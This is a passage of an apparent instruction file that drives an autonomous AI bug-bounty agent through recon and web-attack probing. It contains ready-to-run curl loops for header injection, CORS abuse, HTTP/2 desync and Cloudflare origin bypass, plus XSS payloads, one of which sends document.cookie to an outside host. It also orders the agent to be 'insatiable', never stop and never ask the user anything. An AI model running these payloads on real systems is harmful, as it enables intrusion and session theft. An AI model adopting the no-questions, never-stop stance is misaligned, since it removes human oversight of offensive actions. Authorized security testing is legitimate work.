scope\n3. Read `policy.md` — extract ALL actionable constraints into a policy preamble:\n   - Required HTTP headers (X-Bug-Bounty, User-Agent, custom tracking headers)\n   - Account creation rules (email domain, naming conventions, company format)\n   - Test environment setup (own instances, test properties, sandboxes)\n   - Prohibited actions (DoS, social engineering, accessing customer data)\n   - Rate limiting expectations\n   - N-day waiting periods, shared responsibility exclusions\n   - Credential usage restrictions\n   - ANY other program-specific requirements\n4. Format the **policy preamble** — this block is injected into EVERY agent dispatch:\n   ```\n   POLICY CONSTRAINTS (VIOLATION = DISQUALIFICATION\u002FBAN):\n   SCOPE AND POLICY MUST BE OBEYED AT ALL TIMES.\n   [dynamically extracted constraints from policy.md]\n   ALL HTTP requests MUST include required headers.\n   ALL accounts MUST follow naming conventions.\n   ALL testing MUST stay within scope boundaries.\n   ```\n5. `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py brief \u003Ctarget>` — load existing knowledge\n6. If `--resume`: read brain for tested\u002Fexhausted\u002Fremaining targets, skip to HUNT LOOP\n7. Capture run metadata for the pre-completion gate and stash it in `.autopilot-run.env`:\n   ```bash\n   {\n     echo \"RUN_START_EPOCH=$(date +%s)\"\n     echo \"AUTOPILOT_MODE=\u003Cinteractive|autonomous>\"\n     echo \"AUTOPILOT_TARGET=\u003Coriginal \u002Fautopilot target argument>\"\n   } > .autopilot-run.env\n   ```\n\n## EXHAUSTION CONTRACT (autonomous mode is INSATIABLE — read before every loop iteration)\n\n**`\u002Fautopilot --autonomous` IS INSATIABLE. The loop continues UNTIL every\ntarget in scope has been tested with ALL techniques, ALL methods, ALL\nbypasses, ALL tricks, AND ALL COMBINATIONS of these. DO NOT STOP. DO NOT\nASK THE USER ANYTHING.** No clarifying questions, no \"should I continue?\",\nno \"I think we're done\" — autonomous mode runs until the PRE-COMPLETION\nGATE passes for every target, the chain queue is empty, and the global\nprogress queue is empty. A 17-minute autonomous run that produced one\nauxiliary-agent dispatch is a contract violation, not a completed\nengagement. If you catch yourself thinking \"this looks done\", you are\nwrong — return to the queue and dispatch the next class\u002Fcombination.\n\n`--autonomous` overrides any default LLM tendency toward minimalism,\nclarification-seeking, or \"I have enough information\" reasoning. The only\nacceptable termination paths are listed under \"Stopping early is allowed\nONLY when\" below; nothing else.\n\n### Canonical Hunter Class Set (per target — every class fires OR records `not-applicable` with technical reason)\n\nPer target, every class below either dispatches its specialized hunter agent\nOR records a brain entry `not-applicable: \u003Creason>` containing concrete\ntechnical justification observed during the surface probe. \"No JS source-sink\nhits in the bundle\" is NOT justification — that is static analysis, not\ntesting. Brain entries claiming exhaustion via auxiliary agents will be\nrejected by the gate.\n\n| Class | Hunter agent | Skip only if (must cite surface-probe evidence) |\n|-------|--------------|--------------------------------------------------|\n| idor | `idor-hunter` | No authenticated endpoints AND no object IDs in any URL\u002Fbody |\n| xss-reflected | `xss-hunter` (subtype: reflected) | No reflected query\u002Fheader\u002Fpath values across method-matrix probes |\n| xss-stored | `xss-hunter` (subtype: stored) | No write surface (no comments, profiles, uploads, names, support form) |\n| xss-dom | `xss-hunter` (subtype: dom) | Browser-runtime probe shows no `location.*`\u002F`document.*`\u002FinnerHTML sinks fed by URL\u002Fhash |\n| ssrf | `ssrf-hunter` | No URL\u002Fwebhook\u002Fimport\u002Fpreview\u002Ffetch\u002Favatar\u002Fscreenshot parameters anywhere |\n| sqli | `sqli-hunter` | No DB-backed endpoints (every API call is a static cache hit) |\n| ssti | `ssti-hunter` | No template-rendering surface (comments, previews, admin templates, rules engines) |\n| rce | `rce-hunter` | No deserialization, command-runner, expression-eval, or rule-engine surface |\n| oauth | `oauth-hunter` | No OAuth\u002FOIDC\u002FSAML\u002FJWT flow anywhere on target or its cookie-domain siblings |\n| open-redirect | `open-redirect` | No redirect\u002FreturnTo\u002Fnext\u002Fcallback parameters anywhere in path\u002Fquery |\n| csrf | `csrf-hunter` | No state-changing endpoints AND every cookie has SameSite=Strict |\n| cors | `cors-hunter` | Surface probe shows no Access-Control-* headers and no `OPTIONS` handlers |\n| info-disclosure | `info-disclosure` | Surface probe found nothing AND no error\u002Fdebug\u002Fbuild endpoints |\n| race-condition | `race-condition` | No state mutations \u002F billing \u002F coupon \u002F approval \u002F non-idempotent ops |\n| business-logic | `business-logic` | No multi-step workflows \u002F pricing \u002F approvals \u002F coupons \u002F trials |\n| privilege-escalation | `privilege-escalation` | Single role only AND no admin\u002Fstaff\u002Fbilling endpoints |\n| file-upload | `file-upload` | No upload endpoints AND no media import \u002F avatar \u002F attachment features |\n| xxe | `xxe-hunter` | No XML \u002F SOAP \u002F SVG \u002F SAML \u002F DOCX \u002F OPML \u002F RSS parsing surface |\n| graphql | `graphql-audit` | No GraphQL endpoint reachable on any sibling host |\n| subdomain-takeover | `subdomain-takeover` | DNS probe shows no dangling CNAMEs \u002F dead vendor pointers |\n| llm-ai | `llm-ai-hunter` | No chatbot \u002F RAG \u002F agent \u002F MCP \u002F inference \u002F model-server \u002F sandbox surface |\n| auth-bypass | `auth-tester` | No authentication \u002F session \u002F MFA \u002F password-reset \u002F SSO surface |\n| cache-deception | SURFACE PROBE C + escalate via `auth-tester` if creds-bound HIT found | Probe C ran AND no caching layer present (no `cf-cache-status`, `x-cache`, `age` headers across all variants) |\n| header-injection | SURFACE PROBE D + escalate via `xss-hunter`\u002F`open-redirect` if reflection found | Probe D ran AND no `Set-Cookie`\u002F`Location` reflection across all CRLF\u002FUnicode variants |\n| h2-desync | SURFACE PROBE F + custom PoC if 421\u002Fanomaly found | Probe F ran AND target negotiated HTTP\u002F1.1 only OR no upstream HTTP\u002F2 anomalies |\n| method-confusion | SURFACE PROBE B + escalate via `idor-hunter`\u002F`auth-tester` if anomaly found | Probe B ran AND uniform 405 for all non-listed verbs across discovered paths |\n\nFor the four SURFACE PROBE-driven classes above, \"coverage\" is satisfied by\nrunning the corresponding probe in the SURFACE PROBE phase and recording\nthe probe result to brain. Escalation hunters are dispatched only when the\nprobe finds signal. A skipped probe = uncovered class = GATE FAIL.\n\n### Forbidden hunter substitutes\n\nThese agents are **recon\u002Fauxiliary** — they CANNOT prove exhaustion of any\nclass above. Dispatching them does NOT advance the canonical checklist:\n\n- `js-analyzer` (static analysis only — proves nothing about runtime behavior)\n- `config-auditor` (header\u002FCORS\u002Fcookie audit — feeder, not exhaustion)\n- `waf-profiler` (WAF mapping — auxiliary to hunters, never replaces them)\n- `sast-*` family (source-code analysis — only when source is locally available, never as DAST proxy)\n- `cloud-recon` (asset enumeration — feeds recon, not exhaustion)\n- `vuln-scanner` (DO NOT INVOKE — uses nuclei which is banned in this workspace; substitute httpx\u002Fffuf\u002Fdirsearch via surface probe)\n\nIf the orchestrator dispatches any of these and concludes \"exhausted\", the\nPRE-COMPLETION GATE rejects the run.\n\n### Minimum runtime floors (autonomous mode)\n\n- **Per P1 target**: ≥ 90 minutes wall clock OR until canonical checklist passes — whichever is later\n- **Per autonomous run**: ≥ 18 distinct subagent dispatches across recon + hunters + validation\n- **Per dispatched hunter class**: ≥ 25 attempt entries recorded in brain (Depth Engine floor)\n- **Surface probe phase**: must complete (all of A-I) before any hunter dispatch\n- **Per finding pipeline**: validator → browser-verifier (if client-side) → devil's advocate must all run\n\nStopping early is allowed ONLY when:\n- Scope explicitly forbids further testing (policy.md), OR\n- Circuit breaker tripped (5 consecutive 403\u002F429 → 60s backoff → rotate host, run continues elsewhere), OR\n- Context budget exhausted (> 60% used → checkpoint and request `--resume`), OR\n- The PRE-COMPLETION GATE passes.\n\n## RECON (skip if `recon\u002F` data \u003C 7 days old)\n\n7. Dispatch `recon` agent (model: inherit) with policy preamble\n8. Brain update: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> recon \"\u003Cnew endpoints, subdomains, tech stack>\" \"\u003Crecon summary>\"`\n9. Increment subagent counter\n10. **Active recon depth (gated — every artifact below blocks completion unless a\n    `recon-skip:\u003Cid> policy:\u003Cclause>` brain entry cites the policy clause that\n    forbids it)**:\n    - **DNS brute-force** with a region-aware wordlist into\n      `recon\u002Fdns-bruteforce.txt`. Don't ship \"passive only\" — passive misses\n      novel-named hosts (`prod-s0-milli-vanilli`, `prod-s0-telefonista`).\n    - **Public archive sweep** into `recon\u002Furlscan-cdx.json` (urlscan + Wayback\n      CDX) and `recon\u002Fpublic-archives.txt` (any other archive hits). Pull\n      historical URL inventory.\n    - **GitHub code search** into `recon\u002Fgithub-code.json`. Query each in-scope\n      domain for leaked endpoints, secrets, configs.\n    - **Mobile decompile** if `scope.yaml` lists any mobile asset \u002F package: pull\n      APK\u002FIPA, decompile, extract endpoints into\n      `recon\u002Fmobile\u002F\u003Cpackage>.endpoints.txt`. Mobile reveals endpoints the web\n      surface never exposes.\n    - To skip any of the above for genuine policy reasons, record:\n      `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> recon \"recon-skip:\u003Cid> policy:\u003Cclause>\" \"\u003Crationale>\"`\n\n## WAF\u002FCF DETECTION (run once per target, cache in brain)\n\n10. Detect WAF and CF protection across live hosts:\n    ```bash\n    for host in $(cat recon\u002Flive-hosts.txt | head -20); do\n      WAF=$(curl -sI \"$host\" 2>\u002Fdev\u002Fnull | grep -iE \"cf-ray|cloudflare|x-sucuri|x-akamai|x-datadome|server: awselb\" | head -1)\n      [ -n \"$WAF\" ] && echo \"$host: $WAF\"\n    done\n    ```\n11. Record WAF map in brain: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> waf-map \"\u003Chost→waf mappings>\" \"\u003Ccounts by waf vendor>\"`\n12. If ANY hosts are CF-protected:\n    - Start camofox: `$CLAUDE_PROJECT_DIR\u002Ftools\u002Fcamofox_ctl.sh status || $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcamofox_ctl.sh start`\n    - Verify stealth: check `\u002Fhealth` shows `browserRunning: true`\n    - Record in brain: `camofox: running`\n    - CF-protected hosts are P1 in ranking (less competition, stealth browser gives us edge)\n\n## RANK\n\n13. Dispatch `recon-ranker` agent (model: inherit) with:\n    - Recon data + brain knowledge\n    - WAF map (so ranker can factor CF-protection into P1\u002FP2\u002FKill decisions)\n    - Instruction: \"CF-protected hosts WITH camofox available = P1 (competitive advantage). CF-protected hosts WITHOUT stealth browser = P2.\"\n14. Parse P1\u002FP2\u002FKill list from agent output\n15. Brain update with ranking results\n16. Increment subagent counter\n\n## SURFACE PROBE (mandatory for every P1 host before HUNT LOOP — no agent dispatch, just curl)\n\nThe surface probe runs CHEAP inline curl-based checks (no agent dispatch\nneeded) to map dimensions hunter agents do not auto-discover. Every probe\neither becomes a hunter dispatch with concrete payload OR is recorded to\nbrain as a coverage entry. This phase MUST run for every P1 host (every\nhost marked P1 in `ATTACK_SURFACE_RANKING.md` AND every novel-named live\nhost per Rule 30) before any hunter is dispatched. Refusing to run it is\na PRE-COMPLETION GATE fail.\n\n**The loop is per-HOST, not per-TARGET.** A wildcard target like\n`*.example.com` decomposes into N live hosts, each of which gets its own\n`evidence\u002F\u003Chost>\u002Fsurface\u002F` directory and its own A-I run. Cross-host\ninference (\"BR was hardened so CO is too\") is forbidden by Rule 30 —\nevery host produces its own probe artifacts.\n\n```bash\n# Build the P1 host list\nP1_HOSTS=$(awk '\u002F^P1[: ]\u002F{print $2}' ATTACK_SURFACE_RANKING.md \\\n            || cat recon\u002Fp1-hosts.txt 2>\u002Fdev\u002Fnull \\\n            || cat recon\u002Flive-hosts.txt)\n\nfor TARGET in $P1_HOSTS; do\n  mkdir -p \"evidence\u002F$TARGET\u002Fsurface\"\n  # ... run A-I below with this TARGET ...\ndone\n```\n\nInside the per-host loop, perform A through I in order. Save raw output\nto `evidence\u002F$TARGET\u002Fsurface\u002F` (the directory is created above). After I\ncompletes, write the per-host completion marker (see \"Persist surface\ncompletion\" at the end of this section).\n\n### A. Path \u002F file enumeration\n\n```bash\nTARGET=\"\u003Chost>\"  # replace with the host being probed\nmkdir -p \"evidence\u002F$TARGET\u002Fsurface\"\nfor path in robots.txt sitemap.xml security.txt humans.txt \\\n            .well-known\u002Fsecurity.txt .well-known\u002Fopenid-configuration \\\n            .well-known\u002Fjwks.json .well-known\u002Foauth-authorization-server \\\n            .well-known\u002Fwebfinger .well-known\u002Fhost-meta \\\n            .well-known\u002Fchange-password .well-known\u002Fassetlinks.json \\\n            .well-known\u002Fapple-app-site-association \\\n            .git\u002Fconfig .git\u002FHEAD .env .env.local .env.production \\\n            crossdomain.xml clientaccesspolicy.xml \\\n            CHANGELOG.md README.md package.json composer.json \\\n            yarn.lock package-lock.json \\\n            __nextjs_original-stack-frame _next\u002Fstatic\u002Fchunks\u002Fwebpack.js \\\n            api\u002F admin\u002F _admin\u002F api\u002Fv1\u002F api\u002Fv2\u002F api\u002Finternal\u002F \\\n            api\u002Fadmin\u002F auth\u002F oauth\u002F saml\u002F graphql v1\u002F v2\u002F \\\n            internal\u002F _internal\u002F debug\u002F status\u002F health\u002F \\\n            metrics actuator actuator\u002Fhealth server-status \\\n            wp-admin\u002F wp-login.php phpmyadmin\u002F console\u002F; do\n  curl -s -o \u002Fdev\u002Fnull -w \"$path %{http_code} %{size_download}\\n\" \\\n    \"https:\u002F\u002F$TARGET\u002F$path\"\ndone | tee evidence\u002F$TARGET\u002Fsurface\u002Fdiscovery.txt\n```\n\nIf Next.js detected, enumerate `_next\u002Fdata`:\n\n```bash\nBUILD_ID=$(curl -s \"https:\u002F\u002F$TARGET\u002F\" \\\n  | grep -oE '\"buildId\":\"[^\"]+\"' \\\n  | head -1 \\\n  | cut -d'\"' -f4)\n[ -z \"$BUILD_ID\" ] && BUILD_ID=$(curl -s \"https:\u002F\u002F$TARGET\u002F\" \\\n  | grep -oE '_next\u002Fstatic\u002F[a-zA-Z0-9_-]{6,}\u002F' | head -1 \\\n  | cut -d'\u002F' -f3)\nfor page in index sandbox stores\u002Fcreate stores login dashboard \\\n            admin profile settings billing api\u002Fauth\u002Fme; do\n  curl -s -o \u002Fdev\u002Fnull -w \"_next\u002Fdata\u002F$BUILD_ID\u002F$page.json %{http_code}\\n\" \\\n    \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002F$page.json\"\ndone | tee -a evidence\u002F$TARGET\u002Fsurface\u002Fdiscovery.txt\n```\n\nRecord any 200\u002F301\u002F302\u002F401\u002F403 (anything non-404) as ATTACK SURFACE for\nhunter dispatch. A 401 on `\u002Fapi\u002Fadmin\u002F` is a P1 — not a 404.\n\n### B. HTTP method matrix per discovered path\n\nFor every path that returned 200\u002F301\u002F302\u002F401\u002F403:\n\n```bash\n: > \"evidence\u002F$TARGET\u002Fsurface\u002Fmethod-matrix.txt\"\nawk '$2 ~ \u002F^(200|201|204|301|302|303|307|308|401|403)$\u002F {print $1}' \\\n  \"evidence\u002F$TARGET\u002Fsurface\u002Fdiscovery.txt\" | sort -u | while read -r PATH; do\n  for METHOD in OPTIONS HEAD GET POST PUT PATCH DELETE TRACE CONNECT \\\n                PROPFIND COPY MOVE MKCOL LOCK UNLOCK; do\n    curl -s -o \u002Fdev\u002Fnull -w \"$METHOD $PATH: %{http_code} %{size_download}\\n\" \\\n      -X $METHOD \"https:\u002F\u002F$TARGET\u002F$PATH\"\n  done\ndone | tee -a \"evidence\u002F$TARGET\u002Fsurface\u002Fmethod-matrix.txt\"\n```\n\nMethod-specific 200\u002F302\u002F500 (vs. 405 elsewhere) = method confusion or\nhidden verb routing → DISPATCH `auth-tester` (subtype: methods) and\n`idor-hunter` with explicit verb list.\n\n### C. Cache deception probes\n\n```bash\nfor path_variant in \"\u002Fprofile.css\" \"\u002Fprofile.js\" \"\u002Fprofile.png\" \\\n                    \"\u002Fprofile\u002Findex.css\" \"\u002Fprofile;.css\" \"\u002Fprofile%23.css\" \\\n                    \"\u002Fprofile?ext=.css\" \"\u002Fprofile\u002F..\u002Fprofile.css\" \\\n                    \"\u002Fprofile.css\u002F\" \"\u002Fprofile\u002F\u002F.css\" \\\n                    \"\u002Fapi\u002Fme.css\" \"\u002Fdashboard.json\"; do\n  RESP=$(curl -sI \"https:\u002F\u002F$TARGET$path_variant\" \\\n    -H \"Cookie: session=test\" \\\n    | grep -iE \"cache-control|cf-cache-status|x-cache|age|content-type\")\n  echo \"$path_variant: $RESP\"\ndone | tee evidence\u002F$TARGET\u002Fsurface\u002Fcache-deception.txt\n```\n\nSensitive content body returned with `cf-cache-status: HIT` or `age: > 0`\nafter a cookie request → web cache deception confirmed → DISPATCH\n`auth-tester` (subtype: cache) for poisoning verification.\n\n### D. Response header \u002F response splitting probes\n\n```bash\nfor vec in \"%0d%0aSet-Cookie:%20pwn=1\" \\\n           \"%0aLocation:%20\u002F\u002Fevil.tld\" \\\n           \"%E5%98%8A%E5%98%8DSet-Cookie:%20pwn=1\" \\\n           \"%0d%0aX-XSS-Protection:%200%0d%0a\"; do\n  for param in next returnTo url to callback continue rd dest redirect; do\n    curl -sI \"https:\u002F\u002F$TARGET\u002F?$param=$vec\" \\\n      | grep -iE \"set-cookie|location|x-xss\"\n  done\n  curl -sI \"https:\u002F\u002F$TARGET\u002F$vec\u002F\" | grep -iE \"set-cookie|location\"\ndone | tee evidence\u002F$TARGET\u002Fsurface\u002Fheader-injection.txt\n```\n\nAny injected `Set-Cookie` or unsafe `Location` reflection → DISPATCH\n`auth-tester` (subtype: response-splitting) and record open-redirect\ncandidate for chain-builder.\n\n### E. CORS preflight matrix\n\n```bash\nfor origin in \"https:\u002F\u002Fevil.tld\" \"null\" \"https:\u002F\u002F$TARGET.evil.tld\" \\\n              \"http:\u002F\u002F$TARGET\" \"https:\u002F\u002Fattacker.$TARGET\" \\\n              \"https:\u002F\u002F${TARGET}.attacker.tld\" \"file:\u002F\u002F\" \\\n              \"https:\u002F\u002Fevil.tld%60.${TARGET}\" \"https:\u002F\u002F${TARGET}%23.evil.tld\"; do\n  for path in \u002F api\u002F api\u002Fv1\u002F api\u002Fme api\u002Fuser graphql auth\u002Fme; do\n    curl -sI -X OPTIONS \"https:\u002F\u002F$TARGET\u002F$path\" \\\n      -H \"Origin: $origin\" \\\n      -H \"Access-Control-Request-Method: GET\" \\\n      -H \"Access-Control-Request-Headers: authorization,content-type\" \\\n      | grep -iE \"access-control-allow\"\n  done\ndone | tee evidence\u002F$TARGET\u002Fsurface\u002Fcors-matrix.txt\n```\n\nAny `allow-origin` reflecting attacker origin AND `allow-credentials: true`\n→ DISPATCH `cors-hunter` immediately.\n\n### F. HTTP\u002F2 desync indicators\n\n```bash\n{\n  curl --http2 -sI \"https:\u002F\u002F$TARGET\u002F\" \\\n    -H \"Transfer-Encoding: chunked\" -H \"Content-Length: 0\"\n  curl --http2-prior-knowledge -sI \"https:\u002F\u002F$TARGET\u002F\" \\\n    -H \"Connection: close\"\n  curl --http2 -sI \"https:\u002F\u002F$TARGET\u002F\" \\\n    -H \"Transfer-Encoding: chunked, identity\"\n  curl --http2 -s \"https:\u002F\u002F$TARGET\u002F\" \\\n    -H \"Content-Length: 0\" -H \"Content-Length: 5\" -X POST -d 'X'\n} | tee \"evidence\u002F$TARGET\u002Fsurface\u002Fh2-desync.txt\"\n```\n\nMismatched `content-length` vs `transfer-encoding` handling, 421\nMisdirected Request, or 400 with body marker leakage → DISPATCH\n`auth-tester` (subtype: smuggling) with desync template.\n\n### G. Subdomain takeover on the target itself\n\n```bash\n{\n  dig +short CNAME $TARGET\n  HOST_RESP=$(curl -sI \"https:\u002F\u002F$TARGET\u002F\" 2>&1)\n  echo \"$HOST_RESP\" \\\n    | grep -iE \"no such bucket|repository not found|domain not configured|herokuapp|github\\.io|s3-website|trafficmanager|cloudfront|fastly|netlify|surge.sh|readme\\.io|helpjuice|tumblr|unbouncepages|wpengine\"\n} | tee \"evidence\u002F$TARGET\u002Fsurface\u002Ftakeover.txt\"\n```\n\nAny vendor \"no such resource\" pattern → DISPATCH `subdomain-takeover` with\nthe dangling pointer.\n\n### H. Cloudflare-specific probes (only if CF detected)\n\n```bash\n{\n  curl -sI \"https:\u002F\u002F$TARGET\u002F\" -H \"Accept-Encoding: gzip\" | grep -iE \"cf-cache|vary\"\n  curl -sI \"https:\u002F\u002F$TARGET\u002F\" -H \"Accept-Encoding: deflate\" | grep -iE \"cf-cache|vary\"\n  curl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"CF-Connecting-IP: 127.0.0.1\" \\\n    -o \u002Fdev\u002Fnull -w \"%{http_code}\\n\"\n  curl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"X-Forwarded-For: 127.0.0.1\" \\\n    -o \u002Fdev\u002Fnull -w \"%{http_code}\\n\"\n  ORIGIN_IP=$(dig +short $TARGET | head -1)\n  curl -sk \"https:\u002F\u002F$ORIGIN_IP\u002F\" -H \"Host: $TARGET\" \\\n    -o \u002Fdev\u002Fnull -w \"Direct origin: %{http_code}\\n\"\n  # CF cache key smuggling via Range\n  curl -sI \"https:\u002F\u002F$TARGET\u002F\" -H \"Range: bytes=0-0\" | grep -iE \"cf-cache|content-range\"\n} | tee \"evidence\u002F$TARGET\u002Fsurface\u002Fcloudflare.txt\"\n```\n\nCache poisoning via Vary, CF-Connecting-IP trust, direct-origin reach, or\nRange smuggling → record candidates and DISPATCH appropriate hunter.\n\n### I. SPA \u002F hash routing seeds (rotate detection tokens — Rule 28)\n\nDetection-token rotation: never rely on `alert(1)` alone. The probe\nvalues below walk the rotation ladder so a target that filters `alert`\nbut not `prompt`\u002F`title`\u002Fpreload still produces a reflection signal.\n\n```bash\nfor param in next redirect returnTo url to callback continue rd \\\n             destination ref source state code id_token; do\n  for value in \\\n      \"\u002F\u002Fevil.tld\" \\\n      \"javascript:alert(1)\" \\\n      \"javascript:prompt(1)\" \\\n      \"javascript:confirm(document.domain)\" \\\n      \"javascript:document.title='XSS-AAB123'\" \\\n      \"javascript:fetch('\u002F\u002Fc.oast.fun\u002F?'+document.cookie)\" \\\n      \"javascript:new%20Image().src='\u002F\u002Fc.oast.fun\u002F?'%2bdocument.cookie\" \\\n      \"javascript:top[8680439..toString(30)](1)\" \\\n      \"javascript:window['ale'+'rt'](1)\" \\\n      \"javascript:self[atob('YWxlcnQ=')](1)\" \\\n      \"data:text\u002Fhtml,\u003Csvg\u002Fonload=fetch('\u002F\u002Fc.oast.fun\u002F?d')>\" \\\n      \"data:text\u002Fhtml;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+\" \\\n      \"https:\u002F\u002F$TARGET@evil.tld\" \\\n      \"%2F%2Fevil.tld\" \\\n      \"\u002F%2F\u002Fevil.tld\" \\\n      \"\u002F\u002Fevil.tld%23.${TARGET}\"; do\n    curl -s \"https:\u002F\u002F$TARGET\u002F?$param=$value\" \\\n      -o \"evidence\u002F$TARGET\u002Fsurface\u002Froute-$param-$(echo \"$value\" | md5sum | cut -c1-6).html\" \\\n      -w \"$param=$value: %{http_code} %{size_download} %{redirect_url}\\n\"\n  done\ndone | tee \"evidence\u002F$TARGET\u002Fsurface\u002Fspa-routing.txt\"\n```\n\nReflected param value in HTML\u002FJS, 30x to attacker host, or any\n`javascript:` URI accepted in `Location:` → seed for `xss-hunter`,\n`open-redirect`, and `oauth-hunter` dispatch. The hunter prompt MUST\nforward the rotation ladder so it doesn't re-test only `alert(1)`.\n\n### Persist surface completion + per-probe coverage\n\nAfter all of A-I complete on a host, write the per-host completion marker\nAND the surface-driven class coverage records via the structured writer.\nBoth are per-host artifacts the gate keys off; missing either fails\ncompletion:\n\n```bash\n# Per-host completion marker — gate requires this for every P1 host AND\n# requires every required artifact mtime \u003C= the marker's mtime, so writing\n# this BEFORE the artifacts have all been produced will trip the gate.\ndate -u +\"%Y-%m-%dT%H:%M:%SZ\" > \"evidence\u002F$TARGET\u002Fsurface\u002F.complete\"\n```\n\n```bash\n# Surface-probe-driven classes: each gets its own coverage entry so the\n# gate's class-coverage check finds it. Use the structured writer (NOT\n# bare brain.py) — writer signs off on the JSON shape the gate prefers.\n\nfor CLASS_PROBE in \\\n    \"cache-deception:cache-deception.txt\" \\\n    \"header-injection:header-injection.txt\" \\\n    \"h2-desync:h2-desync.txt\" \\\n    \"method-confusion:method-matrix.txt\"; do\n  CLASS=\"${CLASS_PROBE%:*}\"\n  PROBE=\"${CLASS_PROBE##*:}\"\n  # Pick one of: no-signal | signal:\u003Cdetails> | candidate-dispatched:\u003Chunter>\n  STATUS=\"no-signal\"  # set per actual probe outcome, e.g. \"candidate-dispatched:cors-hunter\"\n  uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcoverage_record.py \\\n    --host \"$TARGET\" --class \"$CLASS\" \\\n    --surface-status \"$STATUS\" \\\n    --evidence \"evidence\u002F$TARGET\u002Fsurface\u002F$PROBE\"\ndone\n\n# Master surface entry (markdown is fine here — this is informational, not\n# a coverage gate input)\nuv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \"$TARGET\" recon \"surface-probe\" \\\n  \"discovery:\u003Ccount non-404>; methods:\u003Ccount anomalies>; cache-deception:\u003Cresults>; \\\n   response-splitting:\u003Cresults>; cors-perms:\u003Cresults>; h2-desync:\u003Cresults>; \\\n   takeover:\u003Cresults>; cf-quirks:\u003Cresults>; spa-routing:\u003Cresults>\"\n\n# Unauthenticated state-change anomalies — for every POST\u002FPUT\u002FPATCH\u002FDELETE\n# that returned 2xx\u002F3xx in method-matrix.txt, record an unauth-write marker.\n# The hard gate auto-detects these from the surface artifact too, but the\n# brain marker triggers the adversarial battery dispatch below.\nawk '\n  $1 ~ \u002F^(POST|PUT|PATCH|DELETE)$\u002F &&\n  $3 ~ \u002F^(200|201|202|204|301|302|303|307|308)\u002F {\n    sub(\u002F:$\u002F, \"\", $2); print $1, $2, $3\n  }' \"evidence\u002F$TARGET\u002Fsurface\u002Fmethod-matrix.txt\" \\\n| while read -r METHOD PATH STATUS; do\n    uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \"$TARGET\" recon \\\n      \"unauth-write:$PATH\" \\\n      \"method:$METHOD; status:$STATUS; evidence:evidence\u002F$TARGET\u002Fsurface\u002Fmethod-matrix.txt\"\n  done\n```\n\nRefusing to run any of A-I before HUNT LOOP is a PRE-COMPLETION GATE fail.\nAny 200\u002F301\u002F302\u002F401\u002F403 the probe finds becomes a hunter dispatch input —\nthe orchestrator MUST seed step 22's hunter prompts with the discovered\nsurface, not just the homepage URL.\n\n### UNAUTH STATE-CHANGE BATTERY (mandatory follow-up)\n\nEvery `unauth-write:\u003Cpath>` marker recorded above blocks completion until\nits sibling `adversarial-battery:\u003Cpath>` entry exists with attempts ≥ 10\nacross the five required dimensions. **An unauthenticated 2xx\u002F3xx on\nPOST\u002FPUT\u002FPATCH\u002FDELETE that the autopilot walks away from is the failure\nmode this contract was written to prevent.** For each marker:\n\n1. Build the battery evidence file `evidence\u002F$TARGET\u002Fbattery-\u003Cslug>.jsonl`\n   where `\u003Cslug>` is the path with `\u002F` replaced by `-`.\n2. Dispatch the relevant hunters in parallel (model: inherit), each\n   appending its results to that JSONL:\n   - `business-logic` — mass-assignment, applicant-id collision, status\n     manipulation, currency \u002F price coercion\n   - `xss-hunter` (subtype: stored) — payload injection in every JSON\n     field with rotation ladder per Rule 28\n   - `ssti-hunter` — when the path or surrounding service hints at\n     templates\u002Frules engines (rule-engine, comment, message, render,\n     template names, Clojure\u002FJinja\u002FVelocity\u002FTwig\u002FFreemarker fingerprints)\n   - `race-condition` — replay the endpoint in parallel with state-mutation\n     queries\n   - `chain-builder` — extract `rules\u002Fchain-table.md` anchors for the\n     resulting capability and probe the next links\n3. After hunters return, record the battery result via the structured\n   writer of choice. The brain marker MUST cover every dimension:\n   ```bash\n   uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \"$TARGET\" recon \\\n     \"adversarial-battery:$PATH\" \\\n     \"attempts:\u003C≥10>; mass-assignment:\u003Cdone|signal:\u003Cdetails>>; \\\n      payload-fields:\u003Cdone|signal>; id-collision:\u003Cdone|signal>; \\\n      race:\u003Cdone|signal>; chain-anchors:\u003Cdone|signal:\u003Cwhich-anchor>>; \\\n      evidence:evidence\u002F$TARGET\u002Fbattery-\u003Cslug>.jsonl\"\n   ```\n4. If any hunter surfaces a confirmed finding, run it through the FINDING\n   PIPELINE (Gate 1\u002F2\u002F3) before continuing. Battery completion does not\n   replace per-finding validation.\n\n## HUNT LOOP (for each P1 target)\n\n17. `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py brief \u003Ctarget>` — what's tested on this target?\n18. Tech stack detection:\n    ```bash\n    curl -sI https:\u002F\u002F\u003Ctarget> | grep -iE \"server|x-powered-by|x-aspnet|x-runtime|x-generator\"\n    ```\n19. Check WAF status from brain for this specific host\n20. Build autonomous class hypotheses (MANDATORY):\n    ```bash\n    uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py classes \\\n      --tech-stack \"\u003Cdetected stack + recon hints>\" \\\n      --target \u003Ctarget> \\\n      --limit 8 \\\n      --telemetry-path .autonomy-telemetry.json \\\n      --output CLASS_HYPOTHESES.md\n    ```\n    Use the ranked output to decide vuln class dispatch order.\n21. Allocate autonomous class budgets (MANDATORY):\n    ```bash\n    uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py budget \\\n      --tech-stack \"\u003Cdetected stack + recon hints>\" \\\n      --target \u003Ctarget> \\\n      --total-minutes 120 \\\n      --total-tokens 30000 \\\n      --telemetry-path .autonomy-telemetry.json \\\n      --output CLASS_BUDGET.md\n    ```\n    Use this budget when deciding how many rounds to spend per vuln class.\n\n## DEPTH ENGINE (mandatory before marking any class 